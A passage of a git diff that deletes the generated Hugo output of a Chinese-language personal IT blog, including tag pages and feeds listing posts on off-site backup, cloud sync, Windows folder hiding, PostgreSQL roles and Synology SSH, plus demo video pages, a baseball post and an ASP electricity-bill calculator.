    以往作異地備援,最大的問題就是頻寬不足以及REMOTE端設備的投資費用。以現有資料量約1000G來看,即使是用中華電信的100M/100M的光纖線路,真的要sync完1000G,第一次也都要跑上好幾個小時甚至好幾天,而之後每次的sync則依照設備運算能力而定。

    - -

    一直以來,就因為這兩個問題卡著,讓異地備援在我公司內都只是個口號,毫無實際作為..So Tired

    - -

    不過,之前逛網站的時候,偶然發現一個東西

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/異地備援/page/1/index.html b/themes/public/tags/異地備援/page/1/index.html deleted file mode 100644 index 9e6deb9f..00000000 --- a/themes/public/tags/異地備援/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E7%95%B0%E5%9C%B0%E5%82%99%E6%8F%B4/ \ No newline at end of file diff --git a/themes/public/tags/百度云/page/1/index.html b/themes/public/tags/百度云/page/1/index.html deleted file mode 100644 index 95243ab3..00000000 --- a/themes/public/tags/百度云/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E7%99%BE%E5%BA%A6%E4%BA%91/ \ No newline at end of file diff --git a/themes/public/tags/百度雲/index.html b/themes/public/tags/百度雲/index.html deleted file mode 100644 index 27730889..00000000 --- a/themes/public/tags/百度雲/index.html +++ /dev/null @@ -1,420 +0,0 @@ - - - - - - - - - - 百度雲 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    個人/家庭 資料備份到百度雲端空間

    -
    - - - 2015-04-09 - - - - - - - - - 其他 - - - - - -
    - - -

    1.前言

    - -

    2.雲端空間介紹

    - -

    3.申請雲端空間(以百度雲為例)

    - -

    4.下載、安裝雲端同步軟體

    - -

    5.設置雲端同步軟體,自動上傳特定路徑內的檔案到雲端空間

    - -

    6.與備份軟體的結合,達成檔案壓縮加密後自動上傳

    - -

    7.資料分級、保密

    - -

    feathers : Sync to remote and delete local

    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/百度雲/page/1/index.html b/themes/public/tags/百度雲/page/1/index.html deleted file mode 100644 index 7ebb8982..00000000 --- a/themes/public/tags/百度雲/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E7%99%BE%E5%BA%A6%E9%9B%B2/ \ No newline at end of file diff --git a/themes/public/tags/目錄/index.html b/themes/public/tags/目錄/index.html deleted file mode 100644 index 045689d8..00000000 --- a/themes/public/tags/目錄/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - 目錄 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 假設要偽裝的目錄為 d:\test -寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat) -  -encrypt.bat 的內容 > d: > > > ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” > > > exit decrypt.bat > d: > > > ren ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” > > > exit   -執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去 -測試畫面如下 -在命令列模式下,用 dir 看看 d:\test的東西 確認還在 - -  -ren 之後,再去dir一次,發現沒有東西… - -  -用檔案總管看到的畫面,test 目錄不見了 - -  -點進去這個目錄看到的是印表機的畫面 - -  -接下來,再把目錄改回來,然後 dir 看看,東西果然還在 - -  -檔案總管內也可以正常看到了 - -  -  -本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了! -不過碰到稍微有常識的人,只要把附檔名改掉就可以了。 -但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!? - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/目錄/page/1/index.html b/themes/public/tags/目錄/page/1/index.html deleted file mode 100644 index 4dc9d5bc..00000000 --- a/themes/public/tags/目錄/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E7%9B%AE%E9%8C%84/ \ No newline at end of file diff --git a/themes/public/tags/短今/index.html b/themes/public/tags/短今/index.html deleted file mode 100644 index fe77322e..00000000 --- a/themes/public/tags/短今/index.html +++ /dev/null @@ -1,367 +0,0 @@ - - - - - - - - - - 短今 | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/短今/index.xml b/themes/public/tags/短今/index.xml deleted file mode 100644 index 080d3648..00000000 --- a/themes/public/tags/短今/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 短今 on MC部落 - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - Recent content in 短今 on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 07:46:53 +0800 - - - - - - Sammy93 - https://h.cowbay.org/gallery/sammy93/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/gallery/sammy93/ - - - - - \ No newline at end of file diff --git a/themes/public/tags/筆記/index.html b/themes/public/tags/筆記/index.html deleted file mode 100644 index c9487dd5..00000000 --- a/themes/public/tags/筆記/index.html +++ /dev/null @@ -1,642 +0,0 @@ - - - - - - - - - - 筆記 | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/筆記/index.xml b/themes/public/tags/筆記/index.xml deleted file mode 100644 index d79e499d..00000000 --- a/themes/public/tags/筆記/index.xml +++ /dev/null @@ -1,95 +0,0 @@ - - - - 筆記 on MC部落 - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - Recent content in 筆記 on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 - https://h.cowbay.org/post/copy_role_in_pgsql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/post/copy_role_in_pgsql/ - <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> - -<p>雖然都是在同一台機器上的同一個資料庫</p> - -<p>但是希望能夠不同team的人用不同的資料庫使用者</p> - -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? - https://h.cowbay.org/post/weird-client-server-connection/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/post/weird-client-server-connection/ - <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> - -<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> - -<p>在每個分公司,都會有一台伺服器作為KVM Host</p> - -<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> - -<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> - -<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> - -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/資料備份/index.html b/themes/public/tags/資料備份/index.html deleted file mode 100644 index ea1feee3..00000000 --- a/themes/public/tags/資料備份/index.html +++ /dev/null @@ -1,420 +0,0 @@ - - - - - - - - - - 資料備份 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    個人/家庭 資料備份到百度雲端空間

    -
    - - - 2015-04-09 - - - - - - - - - 其他 - - - - - -
    - - -

    1.前言

    - -

    2.雲端空間介紹

    - -

    3.申請雲端空間(以百度雲為例)

    - -

    4.下載、安裝雲端同步軟體

    - -

    5.設置雲端同步軟體,自動上傳特定路徑內的檔案到雲端空間

    - -

    6.與備份軟體的結合,達成檔案壓縮加密後自動上傳

    - -

    7.資料分級、保密

    - -

    feathers : Sync to remote and delete local

    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/資料備份/page/1/index.html b/themes/public/tags/資料備份/page/1/index.html deleted file mode 100644 index 8c34c76f..00000000 --- a/themes/public/tags/資料備份/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E8%B3%87%E6%96%99%E5%82%99%E4%BB%BD/ \ No newline at end of file diff --git a/themes/public/tags/資料夾/index.html b/themes/public/tags/資料夾/index.html deleted file mode 100644 index f6e9ea19..00000000 --- a/themes/public/tags/資料夾/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - 資料夾 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 假設要偽裝的目錄為 d:\test -寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat) -  -encrypt.bat 的內容 > d: > > > ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” > > > exit decrypt.bat > d: > > > ren ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” > > > exit   -執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去 -測試畫面如下 -在命令列模式下,用 dir 看看 d:\test的東西 確認還在 - -  -ren 之後,再去dir一次,發現沒有東西… - -  -用檔案總管看到的畫面,test 目錄不見了 - -  -點進去這個目錄看到的是印表機的畫面 - -  -接下來,再把目錄改回來,然後 dir 看看,東西果然還在 - -  -檔案總管內也可以正常看到了 - -  -  -本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了! -不過碰到稍微有常識的人,只要把附檔名改掉就可以了。 -但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!? - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/資料夾/page/1/index.html b/themes/public/tags/資料夾/page/1/index.html deleted file mode 100644 index a07bae08..00000000 --- a/themes/public/tags/資料夾/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E8%B3%87%E6%96%99%E5%A4%BE/ \ No newline at end of file diff --git a/themes/public/tags/雜念/page/1/index.html b/themes/public/tags/雜念/page/1/index.html deleted file mode 100644 index db361b0c..00000000 --- a/themes/public/tags/雜念/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E9%9B%9C%E5%BF%B5/ \ No newline at end of file diff --git a/themes/public/tags/雲端/index.html b/themes/public/tags/雲端/index.html deleted file mode 100644 index 21696cc0..00000000 --- a/themes/public/tags/雲端/index.html +++ /dev/null @@ -1,420 +0,0 @@ - - - - - - - - - - 雲端 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    個人/家庭 資料備份到百度雲端空間

    -
    - - - 2015-04-09 - - - - - - - - - 其他 - - - - - -
    - - -

    1.前言

    - -

    2.雲端空間介紹

    - -

    3.申請雲端空間(以百度雲為例)

    - -

    4.下載、安裝雲端同步軟體

    - -

    5.設置雲端同步軟體,自動上傳特定路徑內的檔案到雲端空間

    - -

    6.與備份軟體的結合,達成檔案壓縮加密後自動上傳

    - -

    7.資料分級、保密

    - -

    feathers : Sync to remote and delete local

    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/雲端/page/1/index.html b/themes/public/tags/雲端/page/1/index.html deleted file mode 100644 index 8c654966..00000000 --- a/themes/public/tags/雲端/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E9%9B%B2%E7%AB%AF/ \ No newline at end of file diff --git a/themes/public/tags/電動車/page/1/index.html b/themes/public/tags/電動車/page/1/index.html deleted file mode 100644 index 02d4dee9..00000000 --- a/themes/public/tags/電動車/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E9%9B%BB%E5%8B%95%E8%BB%8A/ \ No newline at end of file diff --git a/themes/public/tags/食譜/page/1/index.html b/themes/public/tags/食譜/page/1/index.html deleted file mode 100644 index 812cf569..00000000 --- a/themes/public/tags/食譜/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E9%A3%9F%E8%AD%9C/ \ No newline at end of file diff --git a/themes/public/video/index.html b/themes/public/video/index.html deleted file mode 100644 index a661b39a..00000000 --- a/themes/public/video/index.html +++ /dev/null @@ -1,478 +0,0 @@ - - - - - - - - - - Videos | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - -
    - - - - -
    - -
    - - - -
    -

    Video1

    -
    - - - 2018-11-01 - - - - - - - - - youtube - - - - - - Eric Chang - -
    - - - - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/video/index.xml b/themes/public/video/index.xml deleted file mode 100644 index c2717b66..00000000 --- a/themes/public/video/index.xml +++ /dev/null @@ -1,35 +0,0 @@ - - - - Videos on My cool new Blog - https://h.cowbay.org/video/ - Recent content in Videos on My cool new Blog - Hugo -- gohugo.io - Thu, 01 Nov 2018 08:17:31 +0000 - - - - - - Video1 - https://h.cowbay.org/video/video1/ - Thu, 01 Nov 2018 08:17:31 +0000 - - https://h.cowbay.org/video/video1/ - - - - - Kilez More - Life And Death Of The Hegemony - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More is a great Austrian musician. -Most of his songs have a political background and have amazing lyrics!</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/video/kilez-more-leben-und-tod-des-imperialismus/index.html b/themes/public/video/kilez-more-leben-und-tod-des-imperialismus/index.html deleted file mode 100644 index 4af2028c..00000000 --- a/themes/public/video/kilez-more-leben-und-tod-des-imperialismus/index.html +++ /dev/null @@ -1,430 +0,0 @@ - - - - - - - - - - Kilez More - Life And Death Of The Hegemony | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - -
    - - - - -
    - -
    - - - -
    -

    Kilez More - Life And Death Of The Hegemony

    -
    - - - 2017-11-01 - - - - - - - - - Video - - Music - - Politics - - - - - -
    - - -

    Kilez More is a great Austrian musician. -Most of his songs have a political background and have amazing lyrics!

    - -

    - -

    The song “Leben und Tod des Imperialismus” [engl. Life And Death Of The Hegemony] is a genius 12-minute song that teaches you an excellent lesson in history.

    - -

    Check out his Twitter account and YouTube channel!

    - -

    With the video post type you can easily embed YouTube- or Vimeo-Videos. Alternatively, you can use an image for your post via the featuredImage option.

    - -

    PS: with the <!--more--> directive in your markdown file you can set your “Continue reading” breakpoint manually.

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/video/page/1/index.html b/themes/public/video/page/1/index.html deleted file mode 100644 index 63fc28b2..00000000 --- a/themes/public/video/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/video/ \ No newline at end of file diff --git a/themes/public/video/video1/index.html b/themes/public/video/video1/index.html deleted file mode 100644 index 52591ebb..00000000 --- a/themes/public/video/video1/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - Video1 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - -
    - - - - -
    - -
    - - - -
    -

    Video1

    -
    - - - 2018-11-01 - - - - - - - - - youtube - - - - - - Eric Chang - -
    - - - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/recycle/2017-sifu-baseball-error.md b/themes/recycle/2017-sifu-baseball-error.md deleted file mode 100644 index 3dcfc3cf..00000000 --- a/themes/recycle/2017-sifu-baseball-error.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 棒球-2017/08/23 世大運 台灣對南韓 失誤集錦 -categories: 棒球 -date: 2017-08-24 09:10:46 -tags: [棒球] ---- - -##世大運 台灣對南韓 六局上 左外野蘇智傑接到安打球後未即時回傳 隱形的失誤 - - - - -2017/08/23 世大運 台灣對南韓 六局上 左外野蘇智傑接到安打球後不知道在發什麼呆,顧著傻笑,未即時回傳,讓壘上的跑者順利回到本壘得分。蘇智傑表示當下沒有想到這個 play, - -# **那請問你當下在想什麼play?** - -## 世大運 台灣對南韓 八局下 陳重廷 在三壘被牽制出局 - - - -跑者在三壘,對方是左投,面對的是一壘方向,這樣還能被抓到,真不知道該說什麼了。 - -#再來是比較「一般」的失誤... - - - -二壘手范國辰內野滾地球沒處理好,這個比較算是場地安打,球碰到紅土和草皮的交界產生不規則的彈跳,但是這個應該可以提早趨前處理,避免這情況發生。 - - - - - - -中外野手岳東華對球的落點判斷錯誤,追球追過頭了。讓打者多進一個壘包 diff --git a/themes/recycle/cal-power-post.md b/themes/recycle/cal-power-post.md deleted file mode 100644 index acfc72ca..00000000 --- a/themes/recycle/cal-power-post.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: 筆記-電費計算 -categories: 筆記 -date: 2017-08-22 17:30:46 -tags: [筆記] ---- - -```ASP - - - - - - -電費計算 - - - - - - - -<% -deg = Request.Form("txt1") - -'Response.write deg - - -if deg >=0 and deg <=120 then - total_cost = deg * 1.63 - cal_process = deg & " * 1.63 = " & total_cost - Response.write "Degree:" & deg &"

    " - Response.Write "cal_process:" & cal_process - elseif deg >=121 and deg <=330 then - total_cost = (120-0)*1.63 + (deg-121)*2.38 - cal_process = "(120-0)*1.63 + (" & deg & "-121)*2.38 = " & total_cost - Response.write "Degree:" & deg &"

    " - Response.Write "Non Summer cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    " & "" & deg & "" &"(" & deg& "-121)" &" 2.38 " & (deg-121)*2.38 &"
    331-500 3.52
    501-700 4.61
    701-1000 5.42
    1001~6.13
    degtotal" & total_cost & "
    " - total_cost = (120-0)*1.63 + (deg-121)*2.10 - cal_process = "(120-0)*1.63 + (" & deg & "-121)*2.10 = " & total_cost - Response.write "Degree:" & deg &"

    " - Response.Write "cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    " & "" & deg & "" &"(" & deg& "-121)" &" 2.10 " & (deg-121)*2.10 &"
    331-500 2.89
    501-700 3.79
    701-1000 4.42
    1001~4.83
    degtotal" & total_cost & "
    " - elseif deg >=331 and deg <=500 then - total_cost = (120-0)*1.63 + (330-121)*2.38 + (deg-331)*3.52 - cal_process = "(120-0)*1.63 + (330-121)*2.38 + (" & deg & "-331)*3.52 = " & total_cost - Response.write "Degree:" & deg &"

    " - Response.Write "cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.38497.42
    " & "" & deg & "" &"(" & deg & "-331) 3.52 "&(deg-331)*3.52 &"
    501-700 4.61
    701-1000 5.42
    1001~6.13
    degtotal" & total_cost & "
    " - total_cost = (120-0)*1.63 + (330-121)*2.10 + (deg-331)*2.89 - cal_process = "(120-0)*1.63 + (330-121)*2.10 + (" & deg & "-331)*2.89 = " & total_cost - Response.write "Degree:" & deg &"

    " - Response.Write "Non Summer cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.10497.42
    " & "" & deg & "" &"(" & deg & "-331) 2.89 "&(deg-331)*2.89 &"
    501-700 3.79
    701-1000 4.42
    1001~4.83
    degtotal" & total_cost & "
    " - elseif deg >=501 and deg <=700 then - total_cost = (120-0)*1.63 + (330-121)*2.38 + (500-331)*3.52 + (deg-501)*4.61 - cal_process = "(120-0)*1.63 + (330-121)*2.38 + (500-331)*3.52 + (" & deg & "-501)*4.61=" & total_cost & "

    " - Response.write "Degree:" & deg &"

    " - Response.Write "cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.38497.42
    331-500 3.52 594.88
    " & "" & deg & "" &"(" & deg &"-501) 4.61 " & (deg-501)*4.61&"
    701-1000 5.42
    1001~6.13
    degtotal" & total_cost & "
    " - total_cost = (120-0)*1.63 + (330-121)*2.10 + (500-331)*2.89 + (deg-501)*3.79 - cal_process = "(120-0)*1.63 + (330-121)*2.10 + (500-331)*2.89 + (" & deg & "-501)*3.79=" & total_cost & "

    " - Response.write "Degree:" & deg &"

    " - Response.Write "Non Summer cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.10497.42
    331-500 2.89 594.88
    " & "" & deg & "" &"(" & deg &"-501) 3.79 " & (deg-501)*3.79&"
    701-1000 4.42
    1001~4.83
    degtotal" & total_cost & "
    " - elseif deg >=701 and deg <=1000 then - total_cost = (120-0)*1.63 + (330-121)*2.38 + (500-331)*3.52 + (700-501)*4.61 + (deg-701)*5.42 - cal_process = "(120-0)*1.63 + (330-121)*2.38 + (500-331)*3.52 + (700-501)*4.61 + (" & deg & "-701)*5.42 = " & total_cost & "

    " - Response.write "Degree:" & deg &"

    " - Response.Write "cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.38497.42
    331-500 3.52 594.88
    501-700 4.61 917.39
    " & "" & deg & "" & "(" & deg &"-701) 5.42 " & (deg-701)*5.42 &"
    1001~6.13
    degtotal" & total_cost & "
    " - total_cost = (120-0)*1.63 + (330-121)*2.10 + (500-331)*2.89 + (700-501)*3.79 + (deg-701)*4.42 - cal_process = "(120-0)*1.63 + (330-121)*2.10 + (500-331)*2.89 + (700-501)*3.79 + (" & deg & "-701)*4.42 = " & total_cost & "

    " - Response.write "Degree:" & deg &"

    " - Response.Write "Non Summer cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.10497.42
    331-500 2.89 594.88
    501-700 3.79 917.39
